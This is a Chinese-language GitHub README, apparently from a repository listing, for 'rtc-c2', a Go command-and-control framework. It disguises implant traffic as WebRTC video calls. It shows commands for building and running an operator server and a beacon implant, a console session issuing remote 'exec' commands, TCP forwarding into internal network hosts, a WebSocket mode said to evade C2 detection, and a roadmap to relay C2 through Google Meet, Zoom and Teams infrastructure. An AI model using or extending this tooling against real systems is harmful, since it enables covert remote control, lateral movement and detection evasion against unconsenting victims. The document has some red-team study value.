h0mi3e/rtc-c2
GitHub: h0mi3e/rtc-c2
基于 WebRTC 的命令与控制框架,通过加密数据通道将 C2 流量伪装为视频通话,支持端口转发和远程命令执行。
Stars: 0 | Forks: 0
免责声明:仅供授权安全测试和教育目的使用
# rtc-c2 🖤
**基于 WebRTC 的命令与控制 (C2) 框架。** 通过加密的 WebRTC 数据通道进行直接 TCP 转发 —— 类似于 SSH `-L` 风格的端口转发,但封装在 DTLS 隧道内部。
```
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐
│ Operator │ │ TURN/STUN Relay │ │ Beacon │
│ (C2 Server) │───▶│ (Provider Infra) │◀───│ (Implant) │
│ │ │ ── DTLS tunnel ──▶ │ │ │
│ - Direct fwd │ │ Encrypted WebRTC │ │ - Task executor │
│ - Task dispatch │ │ data channel │ │ - Tunnel fwd │
│ - Console │ │ Indistinguishable │ │ - Persistence │
│ - WS signaller │ │ from video calls │ │ │
└─────────────────┘ └──────────────────────┘ └──────────────────┘
```
## 功能特性
| 组件 | 方式 |
|-----------|-------|
| Transport | Pion WebRTC + Google STUN |
| Signaller | HTTP 或 **WebSocket** 汇聚点 (WS = 更隐蔽) |
| Tunnel | 基于 WebRTC 的**直接 TCP 转发** |
| Protocol | 基于 DTLS 的 JSON 信封 |
### 幽灵呼叫 (路线图)
| 组件 | 方式 |
|-----------|-------|
| Transport | 提供商 TURN (Zoom/Google/Teams) |
| Signaller | 会议邀请协议 |
| Tunnel | 基于提供商媒体中继的直接 TCP |
| Auth | 会议加入凭证 (临时的) |
| Infra | **零** —— 无需 VPS,无需域名,无需证书 |
## 环境要求
- Go 1.21+
## 编译
```
git clone https://github.com/h0mi3e/rtc-c2
cd rtc-c2
make build
```
Windows/Linux/macOS 的二进制文件位于 `bin/` 目录下。
## 快速入门
**终端 1 — 操作端 (Operator):**
```
./bin/operator -sig-addr :9090 -session my-session
```
**终端 2 — 信标端 (Beacon):**
```
./bin/beacon -signaller http://127.0.0.1:9090 -session my-session
```
一旦信标端连接成功:
```
=== rtc-c2 Operator Console ===
> beacons
Connected beacons (1):
------------------------------------------------------------
Beacon ID User@Host OS Arch
------------------------------------------------------------
hostname-1234... user@host linux amd64
> use hostname-1234
[+] Using beacon abc123def456 (user@host)
> exec whoami
[*] Task sent
> exec uname -a
> info
> back
```
## 直接 TCP 转发
使用 `forward` 命令通过信标端进行**直接 TCP 转发**:
```
# 在 operator 控制台中:
> forward 127.0.0.1:4444 10.0.1.100:80
[+] Forward: 127.0.0.1:4444 -> 10.0.1.100:80 (via active beacon)
> forwards
Active forwards:
127.0.0.1:4444 -> 10.0.1.100:80 (via beacon)
```
然后在另一个终端中:
```
# 将你的浏览器/工具指向 localhost:4444
curl http://127.0.0.1:4444/resource
# 或使用 --resolve 获取干净的主机名
curl http://internal.corp/resource --resolve internal.corp:80:127.0.0.1
```
管理转发:
```
> forwards # list active forwards
> stop-forward :4444 # stop a forward
```
实际发生的过程:
1. 操作端监听 `127.0.0.1:4444`
2. 原始 TCP 数据被封装进 WebRTC 消息中 → 发送给信标端
3. 信标端连接到 `10.0.1.100:80` 并桥接该连接
## WebSocket 信令服务
为了实现更隐蔽的 SDP 交换,请使用 WebSocket 代替 HTTP 轮询:
```
# Operator
./bin/operator -sig-addr :9090 -session stealth -ws
# Beacon
./bin/beacon -signaller http://127.0.0.1:9090 -session stealth -ws
```
WebSocket 信令服务保持持久连接 —— 看起来就像正常的 Web 应用数据流,而不是 HTTP 轮询。更难被检测为 C2 流量。
## 命令
### 操作端控制台
| 命令 | 描述 |
|---------|-------------|
| `beacons` | 列出已连接的信标端 |
| `use ` | 打开与信标端的交互式会话 |
| `forward ` | 直接 TCP 转发 (SSH -L 风格) |
| `forwards` | 列出活动的转发 |
| `stop-forward ` | 停止转发监听器 |
| `help` | 显示帮助 |
| `exit` | 关闭退出 |
### 信标端会话
| 命令 | 描述 |
|---------|-------------|
| `exec ` | 在信标端上运行命令 |
| `info` | 获取系统信息 |
| `whoami` | 获取用户身份 |
| `download ` | 从信标端下载文件 |
| `back` | 返回主菜单 |
## 项目结构
```
rtc-c2/
├── cmd/
│ ├── operator/ # C2 server binary
│ │ └── main.go
│ └── beacon/ # Implant binary
│ ├── main.go
│ └── util.go
├── pkg/
│ ├── transport/ # WebRTC peer connection
│ │ ├── config.go
│ │ └── peer.go
│ ├── signaller/ # SDP exchange (HTTP + WebSocket)
│ │ ├── signaller.go
│ │ └── websocket.go
│ ├── protocol/ # C2 message protocol
│ │ ├── message.go
│ │ └── task.go
│ └── tunnel/ # Direct TCP forward over WebRTC
│ ├── listener.go # Operator-side forward listener
│ └── forward.go # Beacon-side connection forwarder
├── bin/ # Build output
├── Makefile
├── go.mod / go.sum
└── README.md
```
## 幽灵呼叫路线图
长远目标是利用提供商的 WebRTC 基础设施实现零基础设施 C2:
- **Google Meet:** 通过 API 创建会议 → 信标端加入 → 下发 Google 的 TURN 中继 → 一切都通过 Google 的基础设施运行
- **Jitsi Meet:** 自托管 WebRTC —— 免费、开源、完全可控
- **Zoom:** 逆向工程专有的 WebRTC 认证流程
- **Teams:** SAML/OAuth token → TURN 中继认证
| 阶段 | 内容 | 所需基础设施 |
|-------|------|-------------|
| 1 | 开发模式 (HTTP/WS 信令服务) | 局域网或同一 VPC |
| 2 | 自托管 TURN (coturn) | 开放了 UDP 的 VPS |
| 3 | Jitsi Meet 集成 | Jitsi 服务器或 meet.jit.si |
| 4 | Google Meet 集成 | 无 —— 只需要一个 Gmail 机器人 |
| 5 | Zoom + Teams | 无 —— 加入现有基础设施即可 |
## 添加新的任务类型
1. 在 `pkg/protocol/task.go` 中添加 `TaskType` 常量
2. 如有需要,添加参数结构体
3. 在 `beacon/main.go` 的 `executeTask()` 中添加处理程序的 case 分支
由 **ek0ms** 🖤 构建 — Church of Malware
标签:C2框架, DAST, DTLS加密, EVTX分析, Go语言, Pion WebRTC, STUN/TURN, TCP转发, WebRTC, WebSocket, 依赖分析, 信标, 内网穿透, 命令与控制, 威胁情报, 安全学习资源, 安全测试, 开发者工具, 恶意软件分析, 攻击性安全, 日志审计, 流量伪装, 程序破解, 端口转发, 网络信息收集, 网络渗透, 视频通话伪装, 远程控制, 隐蔽隧道, 零基础设施